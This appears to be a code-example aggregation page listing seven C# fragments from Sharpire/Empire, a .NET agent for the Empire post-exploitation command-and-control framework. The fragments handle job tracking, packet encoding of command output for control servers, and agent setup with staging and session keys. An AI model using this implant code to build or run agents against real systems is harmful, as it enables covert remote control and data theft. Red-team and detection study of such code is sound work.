コード例 #1
0
        ////////////////////////////////////////////////////////////////////////////////
        ////////////////////////////////////////////////////////////////////////////////
        internal void CheckAgentJobs(ref byte[] packets, ref Coms coms)
        {
            lock (jobs)
            {
                List <string> jobsToRemove = new List <string>();
                foreach (KeyValuePair <string, Job> job in jobs)
                {
                    string results = "";
                    if (job.Value.IsCompleted())
                    {
                        try
                        {
                            results = job.Value.GetOutput();
                            job.Value.KillThread();
                        }
                        catch (NullReferenceException) { }

                        jobsToRemove.Add(job.Key);
                        packets = Misc.combine(packets, coms.EncodePacket(110, results, jobsId[job.Key]));
                    }
                }
                jobsToRemove.ForEach(x => jobs.Remove(x));
                lock (jobsId)
                {
                    jobsToRemove.ForEach(x => jobsId.Remove(x));
                }
            }
        }
コード例 #2
0
ファイル: Empire.Agent.cs プロジェクト: vaginessa/Sharpire
        ////////////////////////////////////////////////////////////////////////////////
        public Agent(String stagingKey, String sessionKey, String sessionId, String servers)
        {
            this.sessionId  = sessionId;
            defaultResponse = "";

            killDate = DateTime.Now;
            killDate.AddYears(1);

            controlServers = servers.Split(',');

            coms        = new Coms(sessionId, stagingKey, sessionKey, controlServers);
            jobTracking = new JobTracking();
        }
コード例 #3
0
 ////////////////////////////////////////////////////////////////////////////////
 internal void checkAgentJobs(ref byte[] packets, ref Coms coms)
 {
     foreach (KeyValuePair <string, Job> job in jobs)
     {
         if (job.Value.isCompleted())
         {
             //Add to packet
             jobs.Remove(job.Key);
             //Add the correct result id
             packets = Misc.combine(packets, coms.encodePacket(110, job.Value.getOutput(), 0));
         }
     }
 }
コード例 #4
0
        ////////////////////////////////////////////////////////////////////////////////
        ////////////////////////////////////////////////////////////////////////////////
        private void DotNetEmpire()
        {
            Agent agent = new Agent(sessionInfo);
            Coms  coms  = agent.GetComs();

            try
            {
                agent.Execute();
            }
            catch (Exception ex)
            {
                coms.SendMessage(coms.EncodePacket(41, "[-] Catastrophic .Net Agent Failure, Attempting Agent Restart: " + ex, 0));
                agent = null;
                coms  = null;
                GC.Collect();
                DotNetEmpire();
            }
        }
コード例 #5
0
        ////////////////////////////////////////////////////////////////////////////////
        ////////////////////////////////////////////////////////////////////////////////
        internal byte[] GetAgentJobsOutput(ref Coms coms)
        {
            byte[] jobResults = new byte[0];
            lock (jobs)
            {
                List <string> jobsToRemove = new List <string>();
                foreach (string jobName in jobs.Keys)
                {
#if (PRINT)
                    Console.WriteLine("Job: {0}", jobName);
#endif
                    string results = "";
                    if (jobs[jobName].IsCompleted())
                    {
                        try
                        {
                            results = jobs[jobName].GetOutput();
#if (PRINT)
                            Console.WriteLine(results);
#endif
                            jobs[jobName].KillThread();
                        }
                        catch (NullReferenceException) { }
                        jobsToRemove.Add(jobName);
                    }
                    else
                    {
                        results = jobs[jobName].GetOutput();
                    }

                    if (0 < results.Length)
                    {
                        jobResults = Misc.combine(jobResults, coms.EncodePacket(110, results, jobsId[jobName]));
                    }
                }
                jobsToRemove.ForEach(x => jobs.Remove(x));
                lock (jobsId)
                {
                    jobsToRemove.ForEach(x => jobsId.Remove(x));
                }
            }
            return(jobResults);
        }
コード例 #6
0
        ////////////////////////////////////////////////////////////////////////////////
        internal byte[] getAgentJobsOutput(ref Coms coms)
        {
            byte[] jobResults = new byte[0];
            foreach (String jobName in jobs.Keys)
            {
                String results = "";
                if (jobs[jobName].isCompleted())
                {
                    results = jobs[jobName].getOutput();
                    jobs[jobName].killThread();
                    jobs.Remove(jobName);
                }
                else
                {
                    results = jobs[jobName].getOutput();
                }

                if (results.Length > 0)
                {
                    jobResults = Misc.combine(jobResults, coms.encodePacket(110, results, 0));
                }
            }
            return(jobResults);
        }
コード例 #7
0
ファイル: Empire.Agent.cs プロジェクト: moloch--/Empire
 ////////////////////////////////////////////////////////////////////////////////
 //
 ////////////////////////////////////////////////////////////////////////////////
 public Agent(SessionInfo sessionInfo)
 {
     this.sessionInfo = sessionInfo;
     coms             = new Coms(sessionInfo);
     jobTracking      = new JobTracking();
 }